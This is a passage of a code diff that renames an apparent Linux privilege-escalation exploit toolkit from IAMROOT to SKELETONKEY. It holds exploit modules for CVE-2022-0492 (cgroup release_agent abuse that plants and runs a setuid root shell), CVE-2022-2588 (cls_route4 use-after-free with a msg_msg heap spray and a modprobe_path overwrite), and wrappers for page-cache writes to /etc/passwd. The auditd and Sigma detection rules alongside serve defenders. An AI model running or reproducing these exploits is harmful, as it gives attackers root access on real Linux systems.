mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status);
}
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false;
for (int i = 0; i < 50; i++) {
struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
}
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n"
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = {
const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent",
.cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL,
};
void iamroot_register_cgroup_release_agent(void)
void skeletonkey_register_cgroup_release_agent(void)
{
iamroot_register(&cgroup_release_agent_module);
skeletonkey_register(&cgroup_release_agent_module);
}
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif
+1 -1
View File
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## IAMROOT role
## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/*
* cls_route4_cve_2022_2588 IAMROOT module
* cls_route4_cve_2022_2588 SKELETONKEY module
*
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale
@@ -38,7 +38,7 @@
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
#define DUMMY_IF "skeletonkey0"
struct ipc_payload {
long mtype;
@@ -199,7 +199,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +349,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls;
int arb_landed;
};
@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
return sent;
}
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/iamroot-cls_route4.log + dmesg.\n");
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4",
.cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL,
};
void iamroot_register_cls_route4(void)
void skeletonkey_register_cls_route4(void)
{
iamroot_register(&cls_route4_module);
skeletonkey_register(&cls_route4_module);
}
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif
@@ -1,28 +0,0 @@
/*
* copy_fail_family — IAMROOT module registry hooks
*
* The family currently contains five iamroot_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in iamroot_modules.c, registered into the global registry
* by iamroot_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module copy_fail_module;
extern const struct iamroot_module copy_fail_gcm_module;
extern const struct iamroot_module dirty_frag_esp_module;
extern const struct iamroot_module dirty_frag_esp6_module;
extern const struct iamroot_module dirty_frag_rxrpc_module;
#endif
@@ -1,21 +1,21 @@
/*
* copy_fail_family IAMROOT module bridge layer
* copy_fail_family SKELETONKEY module bridge layer
*
* Wraps the existing per-CVE detect/exploit functions (from the
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
*
* The bridge functions translate between the family's df_result_t
* (defined in src/common.h) and iamroot_result_t (defined in
* (defined in src/common.h) and skeletonkey_result_t (defined in
* core/module.h). Numeric values are identical by design so the
* translation is a direct cast.
*
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
* forwarded to the family's existing global flags before each
* callback. This preserves DIRTYFAIL's existing CLI semantics
* unchanged.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "src/common.h"
@@ -28,7 +28,7 @@
#include <sys/stat.h>
static void apply_ctx(const struct iamroot_ctx *ctx)
static void apply_ctx(const struct skeletonkey_ctx *ctx)
{
dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe;
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)mitigate_apply();
return (skeletonkey_result_t)mitigate_apply();
}
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
struct stat st;
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
}
return (iamroot_result_t)mitigate_revert();
return (skeletonkey_result_t)mitigate_revert();
}
if (!ctx->json) {
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
"evicting /etc/passwd from page cache\n");
}
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
}
/* ----- copy_fail (CVE-2026-31431) ----- */
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_detect();
return (skeletonkey_result_t)copyfail_detect();
}
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
}
/* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static const char copy_fail_family_auditd[] =
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
"# xfrm SA setup (Dirty Frag ESP variants)\n"
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
static const char copy_fail_family_sigma[] =
"title: Copy Fail / Dirty Frag family exploitation\n"
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
"status: experimental\n"
"description: |\n"
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
const struct iamroot_module copy_fail_module = {
const struct skeletonkey_module copy_fail_module = {
.name = "copy_fail",
.cve = "CVE-2026-31431",
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
/* ----- copy_fail_gcm (variant, no CVE) ----- */
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_detect();
return (skeletonkey_result_t)copyfail_gcm_detect();
}
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
}
const struct iamroot_module copy_fail_gcm_module = {
const struct skeletonkey_module copy_fail_gcm_module = {
.name = "copy_fail_gcm",
.cve = "VARIANT",
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_detect();
return (skeletonkey_result_t)dirtyfrag_esp_detect();
}
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp_module = {
const struct skeletonkey_module dirty_frag_esp_module = {
.name = "dirty_frag_esp",
.cve = "CVE-2026-43284",
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_detect();
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
}
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp6_module = {
const struct skeletonkey_module dirty_frag_esp6_module = {
.name = "dirty_frag_esp6",
.cve = "CVE-2026-43284",
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
}
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_rxrpc_module = {
const struct skeletonkey_module dirty_frag_rxrpc_module = {
.name = "dirty_frag_rxrpc",
.cve = "CVE-2026-43500",
